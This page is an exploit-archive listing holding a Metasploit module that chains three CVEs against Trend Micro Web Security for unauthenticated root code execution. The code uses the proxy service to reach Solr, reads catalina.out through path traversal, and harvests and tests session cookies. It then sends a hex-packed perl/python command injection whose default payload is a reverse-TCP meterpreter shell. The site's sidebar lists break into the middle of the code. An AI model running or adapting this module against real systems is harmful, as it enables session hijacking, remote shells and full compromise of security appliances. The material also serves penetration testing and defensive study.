Trend Micro Web Security Remote Code Execution

Authored by Mehmet Ince | Site metasploit.com

Posted Jul 14, 2020

This Metasploit module exploits multiple vulnerabilities together in order to achieve remote code execution in Trend Micro Web Security versions prior to 6.5 SP2 Patch 4 (Build 1901).

tags | exploit, remote, web, vulnerability, code execution
advisories | CVE-2020-8604, CVE-2020-8605, CVE-2020-8606
SHA-256 | 9664c9cbae3eb80a568d35406cf2acc152b6130f2cb92627857e239b45ba2249

Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
      super(
        update_info(
          info,
          'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
          'Description' => %q{
            This module exploits multiple vulnerabilities together in order to achive a remote code execution.
            Unauthenticated users can execute a terminal command under the context of the root user.

            The specific flaw exists within the LogSettingHandler class of administrator interface software.
            When parsing the mount_device parameter, the process does not properly validate a user-supplied
string
            before using it to execute a system call. An attacker can leverage this vulnerability to execute
code in
            the context of root. But authentication is required to exploit this vulnerability.

            Another specific flaw exist within the proxy service, which listens on port 8080 by default.
Unauthenticated users
            can exploit this vulnerability in order to communicate with internal services in the product.

            Last but not least a flaw exists within the Apache Solr application, which is installed within the
product.
            When parsing the file parameter, the process does not properly validate a user-supplied path prior
to using it in file operations.
            An attacker can leverage this vulnerability to disclose information in the context of the IWSS
user.

            Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command
under the context of the root user.

            Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.
          },
          'License' => MSF_LICENSE,
          'Author' =>
            [
              'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
            ],
          'References' =>
            [
              ['CVE', '2020-8604'],
              ['CVE', '2020-8605'],
              ['CVE', '2020-8606'],
              ['ZDI', '20-676'],
              ['ZDI', '20-677'],
              ['ZDI', '20-678']
            ],
          'Privileged' => true,
          'DefaultOptions' =>
            {
              'SSL' => true,
              'payload' => 'python/meterpreter/reverse_tcp',
              'WfsDelay' => 30
            },
          'Payload' =>
            {
              'Compat' =>
              {
                'ConnectionType' => '-bind'
              }
            },
          'Platform' => ['python'],
          'Arch' => ARCH_PYTHON,
          'Targets' => [ ['Automatic', {}] ],
          'DisclosureDate' => '2020-06-10',
          'DefaultTarget' => 0,
          'Notes' =>
            {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
        )
      )

      register_options(
        [
          Opt::RPORT(8443),
          OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
        ]
      )
    end

    def hijack_cookie
      # Updating SSL and RPORT in order to communicate with HTTP proxy service.
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end
      port_restore = datastore['RPORT']
      datastore['RPORT'] = datastore['PROXY_PORT']

      @jsessionid = ''

      # We are exploiting proxy service vulnerability in order to fetch content of catalina.out file
      print_status('Trying to extract session ID by exploiting reverse proxy service')

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
        'vars_get' => {
          'command' => 'filecontent',
          'wt' => 'filestream',
          'generation' => 1,
          'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out'
        }
      })

      # Restore variables and validate extracted sessionid
      datastore['SSL'] = true if ssl_restore
      datastore['RPORT'] = port_restore

      # Routine check on res object
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
      unless res
        fail_with(Failure::Unreachable, 'Target is unreachable.')
      end

      # If the res code is not 200 that means proxy service is not vulnerable.
      unless res.code == 200
        @jsessionid = -1
        return
      end

      # Now we are going to extract all JESSIONID from log file and store them in array.
      cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten

      if cookies.empty?
        @jsessionid = 0
        print_error('System is vulnerable, however a user session was not detected and is therefore
unexploitable. Retry after a user logs in.')
        return
      end

      print_good("Extracted number of JSESSIONID: #{cookies.length}")

      # We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl
variables.
      datastore['SSL'] = true if ssl_restore
      datastore['RPORT'] = port_restore

      # Latest cookie in the log file is the one most probably active. So that we use reverse on array.
      cookies.reverse.each_with_index do |cookie, index|
        print_status("Testing JSESSIONID ##{index} : #{cookie}")

        # This endpoints is basically check session :)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'),
          'cookie' => "JSESSIONID=#{cookie}"
        })

        # Routine res check
        unless res
          fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
        end

        # If the cookie is active !
        if res.code == 200 && res.body.include?('session_flag')
          print_good("Awesome!!! JESSIONID ##{index} is active.")
          @jsessionid = cookie
          break
        end

        print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
      end

      if @jsessionid.empty?
        print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or
admin to login.')
      end
    end

    def check
      #
      # @jsessionid can be one of the following value
      #
      # -1 = Proxy service is not vulnerable, which means we'r not gonna
      # be able to read catalina.out
      #
      # 0  = Proxy service is vulnerable, but catalina.out does not contain any
      # jessionid string yet !
      #
      # empty = Proxy service is vulnerable, but jessionid within log file but
      # none of them are valid:(
      #
      # string = Proxy service is vulnerable and sessionid is valid !
      #
      hijack_cookie

      if @jsessionid == -1
        CheckCode::Safe
      else
        CheckCode::Vulnerable
      end
    end

    def exploit

      unless check == CheckCode::Vulnerable
        fail_with Failure::NotVulnerable, 'Target is not vulnerable'
      end

      #
      # 0     => Proxy service is vulnerable, but catalina.out does not contain any
      # jessionid string yet !
      #
      # empty => Proxy service is vulnerable, but jessionid within log file but
      # none of them are valid:(
      #
      if @jsessionid.empty? || @jessionid == 0
        fail_with Failure::NoAccess, ''
      end

      print_status('Exploiting command injection vulnerability')

      # Yet another app specific bypass is going on here.
      # It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting,
double escaping etc)
      # For that reason, I am planting our payload dropper within the perl command.

      cmd = "python -c \"#{payload.encoded}\""
      final_payload = cmd.to_s.unpack1('H*')
      p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

      vars_post = {
        mount_device: "mount $(#{p}) /var/offload",
        cmd: 'mount'
      }

      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
        'cookie' => "JSESSIONID=#{@jsessionid}",
        'ctype' => 'application/json',
        'data' => vars_post.to_json
      })
    end
  end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other